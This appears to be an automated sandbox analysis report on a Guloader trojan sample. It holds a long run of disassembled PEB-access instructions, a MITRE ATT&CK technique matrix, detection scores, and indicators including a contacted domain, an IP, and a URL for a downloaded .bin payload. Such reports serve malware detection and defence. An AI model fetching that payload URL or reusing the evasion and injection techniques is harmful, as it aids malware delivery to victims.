Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F31E1 mov eax, dword ptr fs:[00000030h]	4_2_359F31E1
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359251ED mov eax, dword ptr fs:[00000030h]	4_2_359251ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35921131 mov eax, dword ptr fs:[00000030h]	4_2_35921131
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35921131 mov eax, dword ptr fs:[00000030h]	4_2_35921131
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B136 mov eax, dword ptr fs:[00000030h]	4_2_3591B136
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B136 mov eax, dword ptr fs:[00000030h]	4_2_3591B136
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B136 mov eax, dword ptr fs:[00000030h]	4_2_3591B136
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B136 mov eax, dword ptr fs:[00000030h]	4_2_3591B136
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F7120 mov eax, dword ptr fs:[00000030h]	4_2_359F7120
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35927152 mov eax, dword ptr fs:[00000030h]	4_2_35927152
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F5152 mov eax, dword ptr fs:[00000030h]	4_2_359F5152
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919148 mov eax, dword ptr fs:[00000030h]	4_2_35919148
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919148 mov eax, dword ptr fs:[00000030h]	4_2_35919148
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919148 mov eax, dword ptr fs:[00000030h]	4_2_35919148
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919148 mov eax, dword ptr fs:[00000030h]	4_2_35919148
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B3140 mov eax, dword ptr fs:[00000030h]	4_2_359B3140
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B3140 mov eax, dword ptr fs:[00000030h]	4_2_359B3140
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B3140 mov eax, dword ptr fs:[00000030h]	4_2_359B3140
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B9179 mov eax, dword ptr fs:[00000030h]	4_2_359B9179
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172 mov eax, dword ptr fs:[00000030h]	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35925096 mov eax, dword ptr fs:[00000030h]	4_2_35925096
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594D090 mov eax, dword ptr fs:[00000030h]	4_2_3594D090
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594D090 mov eax, dword ptr fs:[00000030h]	4_2_3594D090
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595909C mov eax, dword ptr fs:[00000030h]	4_2_3595909C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AD080 mov eax, dword ptr fs:[00000030h]	4_2_359AD080
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AD080 mov eax, dword ptr fs:[00000030h]	4_2_359AD080
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591D08D mov eax, dword ptr fs:[00000030h]	4_2_3591D08D
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F50D9 mov eax, dword ptr fs:[00000030h]	4_2_359F50D9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359490DB mov eax, dword ptr fs:[00000030h]	4_2_359490DB
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov ecx, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov ecx, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov ecx, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov ecx, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0 mov eax, dword ptr fs:[00000030h]	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3599D0C0 mov eax, dword ptr fs:[00000030h]	4_2_3599D0C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3599D0C0 mov eax, dword ptr fs:[00000030h]	4_2_3599D0C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359450E4 mov eax, dword ptr fs:[00000030h]	4_2_359450E4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359450E4 mov ecx, dword ptr fs:[00000030h]	4_2_359450E4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E903E mov eax, dword ptr fs:[00000030h]	4_2_359E903E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E903E mov eax, dword ptr fs:[00000030h]	4_2_359E903E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E903E mov eax, dword ptr fs:[00000030h]	4_2_359E903E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E903E mov eax, dword ptr fs:[00000030h]	4_2_359E903E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C705E mov ebx, dword ptr fs:[00000030h]	4_2_359C705E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C705E mov eax, dword ptr fs:[00000030h]	4_2_359C705E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B052 mov eax, dword ptr fs:[00000030h]	4_2_3594B052
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov ecx, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35931070 mov eax, dword ptr fs:[00000030h]	4_2_35931070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3599D070 mov ecx, dword ptr fs:[00000030h]	4_2_3599D070
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A106E mov eax, dword ptr fs:[00000030h]	4_2_359A106E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F5060 mov eax, dword ptr fs:[00000030h]	4_2_359F5060
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F539D mov eax, dword ptr fs:[00000030h]	4_2_359F539D
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3597739A mov eax, dword ptr fs:[00000030h]	4_2_3597739A
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3597739A mov eax, dword ptr fs:[00000030h]	4_2_3597739A
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C13B9 mov eax, dword ptr fs:[00000030h]	4_2_359C13B9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C13B9 mov eax, dword ptr fs:[00000030h]	4_2_359C13B9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C13B9 mov eax, dword ptr fs:[00000030h]	4_2_359C13B9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359433A5 mov eax, dword ptr fs:[00000030h]	4_2_359433A5
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359533A0 mov eax, dword ptr fs:[00000030h]	4_2_359533A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359533A0 mov eax, dword ptr fs:[00000030h]	4_2_359533A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DB3D0 mov ecx, dword ptr fs:[00000030h]	4_2_359DB3D0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F53FC mov eax, dword ptr fs:[00000030h]	4_2_359F53FC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF3E6 mov eax, dword ptr fs:[00000030h]	4_2_359DF3E6
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A930B mov eax, dword ptr fs:[00000030h]	4_2_359A930B
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A930B mov eax, dword ptr fs:[00000030h]	4_2_359A930B
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A930B mov eax, dword ptr fs:[00000030h]	4_2_359A930B
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35917330 mov eax, dword ptr fs:[00000030h]	4_2_35917330
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E132D mov eax, dword ptr fs:[00000030h]	4_2_359E132D
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E132D mov eax, dword ptr fs:[00000030h]	4_2_359E132D
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F32A mov eax, dword ptr fs:[00000030h]	4_2_3594F32A
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919353 mov eax, dword ptr fs:[00000030h]	4_2_35919353
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919353 mov eax, dword ptr fs:[00000030h]	4_2_35919353
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591D34C mov eax, dword ptr fs:[00000030h]	4_2_3591D34C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591D34C mov eax, dword ptr fs:[00000030h]	4_2_3591D34C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F5341 mov eax, dword ptr fs:[00000030h]	4_2_359F5341
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35927370 mov eax, dword ptr fs:[00000030h]	4_2_35927370
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35927370 mov eax, dword ptr fs:[00000030h]	4_2_35927370
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35927370 mov eax, dword ptr fs:[00000030h]	4_2_35927370
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C3370 mov eax, dword ptr fs:[00000030h]	4_2_359C3370
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF367 mov eax, dword ptr fs:[00000030h]	4_2_359DF367
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595329E mov eax, dword ptr fs:[00000030h]	4_2_3595329E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595329E mov eax, dword ptr fs:[00000030h]	4_2_3595329E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F5283 mov eax, dword ptr fs:[00000030h]	4_2_359F5283
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A92BC mov eax, dword ptr fs:[00000030h]	4_2_359A92BC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A92BC mov eax, dword ptr fs:[00000030h]	4_2_359A92BC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A92BC mov ecx, dword ptr fs:[00000030h]	4_2_359A92BC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A92BC mov ecx, dword ptr fs:[00000030h]	4_2_359A92BC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359352A0 mov eax, dword ptr fs:[00000030h]	4_2_359352A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359352A0 mov eax, dword ptr fs:[00000030h]	4_2_359352A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359352A0 mov eax, dword ptr fs:[00000030h]	4_2_359352A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359352A0 mov eax, dword ptr fs:[00000030h]	4_2_359352A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E92A6 mov eax, dword ptr fs:[00000030h]	4_2_359E92A6
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E92A6 mov eax, dword ptr fs:[00000030h]	4_2_359E92A6
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E92A6 mov eax, dword ptr fs:[00000030h]	4_2_359E92A6
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E92A6 mov eax, dword ptr fs:[00000030h]	4_2_359E92A6
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B72A0 mov eax, dword ptr fs:[00000030h]	4_2_359B72A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B72A0 mov eax, dword ptr fs:[00000030h]	4_2_359B72A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B2D3 mov eax, dword ptr fs:[00000030h]	4_2_3591B2D3
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B2D3 mov eax, dword ptr fs:[00000030h]	4_2_3591B2D3
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B2D3 mov eax, dword ptr fs:[00000030h]	4_2_3591B2D3
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F2D0 mov eax, dword ptr fs:[00000030h]	4_2_3594F2D0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F2D0 mov eax, dword ptr fs:[00000030h]	4_2_3594F2D0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B2C0 mov eax, dword ptr fs:[00000030h]	4_2_3594B2C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B2C0 mov eax, dword ptr fs:[00000030h]	4_2_3594B2C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B2C0 mov eax, dword ptr fs:[00000030h]	4_2_3594B2C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B2C0 mov eax, dword ptr fs:[00000030h]	4_2_3594B2C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B2C0 mov eax, dword ptr fs:[00000030h]	4_2_3594B2C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B2C0 mov eax, dword ptr fs:[00000030h]	4_2_3594B2C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B2C0 mov eax, dword ptr fs:[00000030h]	4_2_3594B2C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359292C5 mov eax, dword ptr fs:[00000030h]	4_2_359292C5
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359292C5 mov eax, dword ptr fs:[00000030h]	4_2_359292C5
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF2F8 mov eax, dword ptr fs:[00000030h]	4_2_359DF2F8
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB2F0 mov eax, dword ptr fs:[00000030h]	4_2_359CB2F0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB2F0 mov eax, dword ptr fs:[00000030h]	4_2_359CB2F0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359192FF mov eax, dword ptr fs:[00000030h]	4_2_359192FF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED mov eax, dword ptr fs:[00000030h]	4_2_359D12ED
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F52E2 mov eax, dword ptr fs:[00000030h]	4_2_359F52E2
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35957208 mov eax, dword ptr fs:[00000030h]	4_2_35957208
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35957208 mov eax, dword ptr fs:[00000030h]	4_2_35957208
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F5227 mov eax, dword ptr fs:[00000030h]	4_2_359F5227
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DB256 mov eax, dword ptr fs:[00000030h]	4_2_359DB256
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DB256 mov eax, dword ptr fs:[00000030h]	4_2_359DB256
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919240 mov eax, dword ptr fs:[00000030h]	4_2_35919240
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919240 mov eax, dword ptr fs:[00000030h]	4_2_35919240
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595724D mov eax, dword ptr fs:[00000030h]	4_2_3595724D
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35949274 mov eax, dword ptr fs:[00000030h]	4_2_35949274

Source: C:\Users\user\Desktop\450707124374000811.exe

0_2_00403373

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Process Injection	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
450707124374000811.exe	45%	ReversingLabs	Win32.Trojan.Guloader
450707124374000811.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
alfacen.com	193.107.36.30	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://alfacen.com/GZgWeuQ77.bin	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	450707124374000811.exe, 00000004.00000001.2467393777.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false		unknown
http://www.ftp.ftp://ftp.gopher.	450707124374000811.exe, 00000004.00000001.2467393777.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false		unknown
